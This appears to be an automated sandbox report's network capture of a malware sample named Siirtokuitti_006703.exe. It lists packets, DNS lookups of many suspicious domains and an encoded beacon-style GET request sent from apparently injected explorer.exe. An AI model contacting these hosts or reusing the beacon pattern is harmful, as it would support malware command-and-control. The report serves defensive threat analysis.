May 30, 2023 11:14:10.029495001 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.029503107 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.029589891 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.029638052 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.029819965 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.029925108 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.029985905 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:10.030081034 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.030239105 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.030284882 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.054297924 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.054375887 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.054883957 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.054958105 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.055016994 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.055079937 CEST	80	49869	213.171.195.105	192.168.11.20
May 30, 2023 11:14:10.055289984 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:11.484256983 CEST	49869	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.499957085 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.524337053 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.524616003 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.524616003 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.549180031 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549288034 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549356937 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549423933 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549489021 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549552917 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549609900 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549669027 CEST	80	49870	213.171.195.105	192.168.11.20
May 30, 2023 11:14:12.549954891 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.549954891 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.550029039 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.550203085 CEST	49870	80	192.168.11.20	213.171.195.105
May 30, 2023 11:14:12.574795961 CEST	80	49870	213.171.195.105	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 30, 2023 11:06:50.924263954 CEST	63602	53	192.168.11.20	1.1.1.1
May 30, 2023 11:06:50.933461905 CEST	53	63602	1.1.1.1	192.168.11.20
May 30, 2023 11:06:51.456561089 CEST	62815	53	192.168.11.20	1.1.1.1
May 30, 2023 11:06:51.477216005 CEST	53	62815	1.1.1.1	192.168.11.20
May 30, 2023 11:07:53.444374084 CEST	61774	53	192.168.11.20	1.1.1.1
May 30, 2023 11:07:53.772279024 CEST	53	61774	1.1.1.1	192.168.11.20
May 30, 2023 11:08:08.892122030 CEST	63577	53	192.168.11.20	1.1.1.1
May 30, 2023 11:08:08.912286997 CEST	53	63577	1.1.1.1	192.168.11.20
May 30, 2023 11:08:21.702016115 CEST	61211	53	192.168.11.20	1.1.1.1
May 30, 2023 11:08:21.968472004 CEST	53	61211	1.1.1.1	192.168.11.20
May 30, 2023 11:08:34.870801926 CEST	61654	53	192.168.11.20	1.1.1.1
May 30, 2023 11:08:35.298787117 CEST	53	61654	1.1.1.1	192.168.11.20
May 30, 2023 11:08:48.711576939 CEST	62272	53	192.168.11.20	1.1.1.1
May 30, 2023 11:08:48.733108044 CEST	53	62272	1.1.1.1	192.168.11.20
May 30, 2023 11:09:02.319672108 CEST	58303	53	192.168.11.20	1.1.1.1
May 30, 2023 11:09:02.342781067 CEST	53	58303	1.1.1.1	192.168.11.20
May 30, 2023 11:09:14.971556902 CEST	51341	53	192.168.11.20	1.1.1.1
May 30, 2023 11:09:15.002320051 CEST	53	51341	1.1.1.1	192.168.11.20
May 30, 2023 11:09:28.924863100 CEST	64211	53	192.168.11.20	1.1.1.1
May 30, 2023 11:09:29.449692965 CEST	53	64211	1.1.1.1	192.168.11.20
May 30, 2023 11:09:43.371460915 CEST	54061	53	192.168.11.20	1.1.1.1
May 30, 2023 11:09:43.420993090 CEST	53	54061	1.1.1.1	192.168.11.20
May 30, 2023 11:09:56.134274006 CEST	60420	53	192.168.11.20	1.1.1.1
May 30, 2023 11:09:56.253150940 CEST	53	60420	1.1.1.1	192.168.11.20
May 30, 2023 11:10:09.084631920 CEST	59858	53	192.168.11.20	1.1.1.1
May 30, 2023 11:10:09.499864101 CEST	53	59858	1.1.1.1	192.168.11.20
May 30, 2023 11:10:22.909676075 CEST	51270	53	192.168.11.20	1.1.1.1
May 30, 2023 11:10:23.107369900 CEST	53	51270	1.1.1.1	192.168.11.20
May 30, 2023 11:10:35.813110113 CEST	49948	53	192.168.11.20	1.1.1.1
May 30, 2023 11:10:35.830799103 CEST	53	49948	1.1.1.1	192.168.11.20
May 30, 2023 11:10:48.451175928 CEST	61402	53	192.168.11.20	1.1.1.1
May 30, 2023 11:10:49.466142893 CEST	61402	53	192.168.11.20	9.9.9.9
May 30, 2023 11:10:49.760382891 CEST	53	61402	1.1.1.1	192.168.11.20
May 30, 2023 11:10:50.452802896 CEST	53	61402	9.9.9.9	192.168.11.20
May 30, 2023 11:11:03.588463068 CEST	63675	53	192.168.11.20	1.1.1.1
May 30, 2023 11:11:03.602349043 CEST	53	63675	1.1.1.1	192.168.11.20
May 30, 2023 11:11:16.603025913 CEST	55607	53	192.168.11.20	1.1.1.1
May 30, 2023 11:11:17.031308889 CEST	53	55607	1.1.1.1	192.168.11.20
May 30, 2023 11:13:37.429708004 CEST	62083	53	192.168.11.20	1.1.1.1
May 30, 2023 11:13:37.460772038 CEST	53	62083	1.1.1.1	192.168.11.20
May 30, 2023 11:14:04.845823050 CEST	54978	53	192.168.11.20	1.1.1.1
May 30, 2023 11:14:04.863619089 CEST	53	54978	1.1.1.1	192.168.11.20
May 30, 2023 11:14:17.561507940 CEST	62473	53	192.168.11.20	1.1.1.1
May 30, 2023 11:14:17.581139088 CEST	53	62473	1.1.1.1	192.168.11.20
May 30, 2023 11:14:32.792465925 CEST	49776	53	192.168.11.20	1.1.1.1
May 30, 2023 11:14:33.034518957 CEST	53	49776	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 30, 2023 11:06:50.924263954 CEST	192.168.11.20	1.1.1.1	0xbd4b	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:06:51.456561089 CEST	192.168.11.20	1.1.1.1	0x302a	Standard query (0)	doc-04-7k-docs.googleusercontent.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:07:53.444374084 CEST	192.168.11.20	1.1.1.1	0xb12	Standard query (0)	www.1win-legal1.top	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:08.892122030 CEST	192.168.11.20	1.1.1.1	0x7aee	Standard query (0)	www.minskadue.xyz	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:21.702016115 CEST	192.168.11.20	1.1.1.1	0x39c1	Standard query (0)	www.marketing-solution.net	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:34.870801926 CEST	192.168.11.20	1.1.1.1	0xab28	Standard query (0)	www.tsygy.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:48.711576939 CEST	192.168.11.20	1.1.1.1	0xda5	Standard query (0)	www.cookcollectives.xyz	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:02.319672108 CEST	192.168.11.20	1.1.1.1	0x4211	Standard query (0)	www.printmyride.store	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:14.971556902 CEST	192.168.11.20	1.1.1.1	0xdc7a	Standard query (0)	www.fairbitawayposearisk.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:28.924863100 CEST	192.168.11.20	1.1.1.1	0xf688	Standard query (0)	www.dkansai-cp.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:43.371460915 CEST	192.168.11.20	1.1.1.1	0xca6c	Standard query (0)	www.comoparardefumar.website	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:56.134274006 CEST	192.168.11.20	1.1.1.1	0xe951	Standard query (0)	www.albaymedya.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:09.084631920 CEST	192.168.11.20	1.1.1.1	0x7a3d	Standard query (0)	www.roconsultores.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:22.909676075 CEST	192.168.11.20	1.1.1.1	0x2b5	Standard query (0)	www.aurizhon.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:35.813110113 CEST	192.168.11.20	1.1.1.1	0x102a	Standard query (0)	www.solarwachstum.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:48.451175928 CEST	192.168.11.20	1.1.1.1	0xd022	Standard query (0)	www.ep09.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:49.466142893 CEST	192.168.11.20	9.9.9.9	0xd022	Standard query (0)	www.ep09.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:11:03.588463068 CEST	192.168.11.20	1.1.1.1	0x499b	Standard query (0)	www.zinkiggekis.xyz	A (IP address)	IN (0x0001)	false
May 30, 2023 11:11:16.603025913 CEST	192.168.11.20	1.1.1.1	0x3c0a	Standard query (0)	www.scottsteedley.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:13:37.429708004 CEST	192.168.11.20	1.1.1.1	0xd2f8	Standard query (0)	www.oleictude.xyz	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:04.845823050 CEST	192.168.11.20	1.1.1.1	0x3030	Standard query (0)	www.arrangeabreak.com	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:17.561507940 CEST	192.168.11.20	1.1.1.1	0xd421	Standard query (0)	www.14-pro-max-sales.online	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:32.792465925 CEST	192.168.11.20	1.1.1.1	0xda23	Standard query (0)	www.arifsantoso.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 30, 2023 11:06:50.933461905 CEST	1.1.1.1	192.168.11.20	0xbd4b	No error (0)	drive.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
May 30, 2023 11:06:51.477216005 CEST	1.1.1.1	192.168.11.20	0x302a	No error (0)	doc-04-7k-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:06:51.477216005 CEST	1.1.1.1	192.168.11.20	0x302a	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.97	A (IP address)	IN (0x0001)	false
May 30, 2023 11:07:53.772279024 CEST	1.1.1.1	192.168.11.20	0xb12	No error (0)	www.1win-legal1.top		172.67.153.163	A (IP address)	IN (0x0001)	false
May 30, 2023 11:07:53.772279024 CEST	1.1.1.1	192.168.11.20	0xb12	No error (0)	www.1win-legal1.top		104.21.90.61	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:08.912286997 CEST	1.1.1.1	192.168.11.20	0x7aee	No error (0)	www.minskadue.xyz		109.123.121.243	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:21.968472004 CEST	1.1.1.1	192.168.11.20	0x39c1	No error (0)	www.marketing-solution.net		91.195.240.45	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:35.298787117 CEST	1.1.1.1	192.168.11.20	0xab28	No error (0)	www.tsygy.com		23.104.137.185	A (IP address)	IN (0x0001)	false
May 30, 2023 11:08:48.733108044 CEST	1.1.1.1	192.168.11.20	0xda5	No error (0)	www.cookcollectives.xyz		199.192.30.147	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:02.342781067 CEST	1.1.1.1	192.168.11.20	0x4211	No error (0)	www.printmyride.store		130.185.109.77	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:15.002320051 CEST	1.1.1.1	192.168.11.20	0xdc7a	No error (0)	www.fairbitawayposearisk.com	fairbitawayposearisk.com		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:09:15.002320051 CEST	1.1.1.1	192.168.11.20	0xdc7a	No error (0)	fairbitawayposearisk.com		216.108.231.108	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:29.449692965 CEST	1.1.1.1	192.168.11.20	0xf688	No error (0)	www.dkansai-cp.com		183.90.238.43	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:43.420993090 CEST	1.1.1.1	192.168.11.20	0xca6c	No error (0)	www.comoparardefumar.website	comoparardefumar.website		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:09:43.420993090 CEST	1.1.1.1	192.168.11.20	0xca6c	No error (0)	comoparardefumar.website		84.32.84.32	A (IP address)	IN (0x0001)	false
May 30, 2023 11:09:56.253150940 CEST	1.1.1.1	192.168.11.20	0xe951	No error (0)	www.albaymedya.com	albaymedya.com		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:09:56.253150940 CEST	1.1.1.1	192.168.11.20	0xe951	No error (0)	albaymedya.com		185.106.208.3	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:09.499864101 CEST	1.1.1.1	192.168.11.20	0x7a3d	No error (0)	www.roconsultores.com	roconsultores.com		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:10:09.499864101 CEST	1.1.1.1	192.168.11.20	0x7a3d	No error (0)	roconsultores.com		162.215.249.40	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:23.107369900 CEST	1.1.1.1	192.168.11.20	0x2b5	No error (0)	www.aurizhon.com	aurizhon.com		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:10:23.107369900 CEST	1.1.1.1	192.168.11.20	0x2b5	No error (0)	aurizhon.com		84.32.84.32	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:35.830799103 CEST	1.1.1.1	192.168.11.20	0x102a	No error (0)	www.solarwachstum.com		89.31.143.1	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:49.760382891 CEST	1.1.1.1	192.168.11.20	0xd022	No error (0)	www.ep09.com		154.84.88.108	A (IP address)	IN (0x0001)	false
May 30, 2023 11:10:50.452802896 CEST	9.9.9.9	192.168.11.20	0xd022	No error (0)	www.ep09.com		154.84.88.108	A (IP address)	IN (0x0001)	false
May 30, 2023 11:11:03.602349043 CEST	1.1.1.1	192.168.11.20	0x499b	No error (0)	www.zinkiggekis.xyz		109.123.121.243	A (IP address)	IN (0x0001)	false
May 30, 2023 11:11:17.031308889 CEST	1.1.1.1	192.168.11.20	0x3c0a	No error (0)	www.scottsteedley.com	scottsteedley.com		CNAME (Canonical name)	IN (0x0001)	false
May 30, 2023 11:11:17.031308889 CEST	1.1.1.1	192.168.11.20	0x3c0a	No error (0)	scottsteedley.com		162.214.206.200	A (IP address)	IN (0x0001)	false
May 30, 2023 11:13:37.460772038 CEST	1.1.1.1	192.168.11.20	0xd2f8	No error (0)	www.oleictude.xyz		109.123.121.243	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:04.863619089 CEST	1.1.1.1	192.168.11.20	0x3030	No error (0)	www.arrangeabreak.com		213.171.195.105	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:17.581139088 CEST	1.1.1.1	192.168.11.20	0xd421	Name error (3)	www.14-pro-max-sales.online	none	none	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.33.20.235	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		173.255.194.134	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		72.14.185.43	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.56.79.23	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.33.2.79	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.33.18.44	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.79.19.196	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.33.30.197	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		198.58.118.167	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		96.126.123.244	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		72.14.178.174	A (IP address)	IN (0x0001)	false
May 30, 2023 11:14:33.034518957 CEST	1.1.1.1	192.168.11.20	0xda23	No error (0)	www.arifsantoso.info		45.33.23.183	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

doc-04-7k-docs.googleusercontent.com

www.1win-legal1.top

www.minskadue.xyz

www.marketing-solution.net

www.tsygy.com

www.cookcollectives.xyz

www.printmyride.store

www.fairbitawayposearisk.com

www.dkansai-cp.com

www.comoparardefumar.website

www.albaymedya.com

www.roconsultores.com

www.aurizhon.com

www.solarwachstum.com

www.ep09.com

www.zinkiggekis.xyz

www.scottsteedley.com

www.oleictude.xyz

www.arrangeabreak.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49759	172.217.18.110	443	C:\Users\user\Desktop\Siirtokuitti_006703.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49760	142.250.186.97	443	C:\Users\user\Desktop\Siirtokuitti_006703.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49769	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:29.570107937 CEST	391	OUT	GET /tchg/?O0qEM=Vh+NtSFYOkmwW/joH9vrd5+MSsdMnxV1ssl4yHjdHmi4FIifjhGRd3WP5FLf/k8P5fuqdVgOe83DA0NMx4WBp24AMjol/1MYCA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.marketing-solution.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:08:29.835031033 CEST	392	IN	HTTP/1.1 200 OK date: Tue, 30 May 2023 09:08:29 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_G5prXlVdwTCD+r+fn7DUuR757YOPr2z5n7y9MQOfiVqPrUIsKJMYVD2ud92lbOMx/7OI0PCOIUgiaYOT9lauGw== last-modified: Tue, 30 May 2023 09:08:29 GMT x-cache-miss-from: parking-6bdbf848bb-p87kt server: NginX connection: close Data Raw: 32 43 46 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 47 35 70 72 58 6c 56 64 77 54 43 44 2b 72 2b 66 6e 37 44 55 75 52 37 35 37 59 4f 50 72 32 7a 35 6e 37 79 39 4d 51 4f 66 69 56 71 50 72 55 49 73 4b 4a 4d 59 56 44 32 75 64 39 32 6c 62 4f 4d 78 2f 37 4f 49 30 50 43 4f 49 55 67 69 61 59 4f 54 39 6c 61 75 47 77 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 6d 61 72 6b 65 74 69 6e 67 2d 73 6f 6c 75 74 69 6f 6e 2e 6e 65 74 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 49 6e 66 6f 72 6d 61 74 69 6f 6e 65 6e 20 7a 75 6d 20 54 68 65 6d 61 20 6d 61 72 6b 65 74 69 6e 67 20 73 6f 6c 75 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 72 6b 65 74 69 6e 67 2d 73 6f 6c 75 74 69 6f 6e 2e 6e 65 74 20 69 73 74 20 64 69 65 20 62 65 73 74 65 20 51 75 65 6c 6c 65 20 66 c3 bc 72 20 61 6c 6c 65 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 65 6e 20 64 69 65 20 53 69 65 20 73 75 63 68 65 6e 2e 20 56 6f 6e 20 Data Ascii: 2CF<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_G5prXlVdwTCD+r+fn7DUuR757YOPr2z5n7y9MQOfiVqPrUIsKJMYVD2ud92lbOMx/7OI0PCOIUgiaYOT9lauGw==><head><meta charset="utf-8"><title>marketing-solution.net - Informationen zum Thema marketing solution.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="marketing-solution.net ist die beste Quelle fr alle Informationen die Sie suchen. Von
May 30, 2023 11:08:29.835128069 CEST	393	IN	Data Raw: 61 6c 6c 67 65 6d 65 69 6e 65 6e 20 54 68 65 6d 65 6e 20 62 69 73 20 68 69 6e 20 7a 75 20 73 70 65 7a 69 65 6c 6c 65 6e 20 53 61 63 68 76 65 72 68 61 6c 74 65 6e 2c 20 66 69 6e 64 65 6e 20 53 69 65 20 61 75 66 20 6d 61 72 6b 65 74 69 6e 67 2d 73 Data Ascii: allgemeinen Themen bis hin zu speziellen Sachverhalten, finden Sie auf marketing-solution.net alles. Wir ho1Fffen, dass Sie hier das GesuchtAE6e finden!"><link rel="icon" type="image/png" href="//img.sedoparking
May 30, 2023 11:08:29.835194111 CEST	395	IN	Data Raw: 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 Data Ascii: (:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{
May 30, 2023 11:08:29.835274935 CEST	396	IN	Data Raw: 6e 65 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 65 31 36 32 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 7d 2e 61 6e 6e 6f 75 6e 63 65 6d 65 6e 74 20 Data Ascii: ne}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto 0 auto;text-align:center}.container-header__content{color:#848484}.container-buybox
May 30, 2023 11:08:29.835333109 CEST	397	IN	Data Raw: 6b 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 69 6d 70 72 69 6e 74 5f 5f 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 Data Ascii: k}.container-imprint__content-text,.container-imprint__content-link{font-size:10px;color:#949494}.container-contact-us{text-align:center}.container-contact-us__content{display:inline-block}.container-contact-us__content-text,.container-contact
May 30, 2023 11:08:29.835390091 CEST	399	IN	Data Raw: 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 33 73 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6f 6b 69 65 2d 6d Data Ascii: ion:all .3s;-moz-transition:all .3s;transition:all .3s;text-align:center}.cookie-modal-window__content-header{font-size:150%;margin:0 0 15px}.cookie-modal-window__content{text-align:initial;margin:10% auto;padding:40px;background:#fff;display:
May 30, 2023 11:08:29.835474968 CEST	400	IN	Data Raw: 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 32 37 63 38 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 37 32 37 63 38 33 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6d 65 64 69 75 6d 7d 2e 62 74 6e 2d 2d 73 65 63 6f 6e 64 61 72 Data Ascii: ound-color:#727c83;border-color:#727c83;color:#fff;font-size:medium}.btn--secondary-sm{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:initial}.btn--secondary-sm:hover{background-color:#727c83;border-color:#727c83;color:#fff
May 30, 2023 11:08:29.835530043 CEST	401	IN	Data Raw: 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 37 30 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 Data Ascii: on:relative;max-width:1700px;margin:0 auto !important}.container-content__container-relatedlinks,.container-content__container-ads,.container-content__webarchive{width:30%;display:inline-block}.container-content__container-relatedlinks{margin-
May 30, 2023 11:08:29.835609913 CEST	403	IN	Data Raw: 74 2d 65 6c 65 6d 65 6e 74 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 30 20 35 70 78 20 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d Data Ascii: t-element{list-style:none;padding:10px 0 5px 0;display:inline-block}.two-tier-ads-list__list-element-image{content:url("//img.sedoparking.com/templates/images/bullet_justads.gif");float:left;padding-top:32px}.two-tier-ads-list__list-element-co
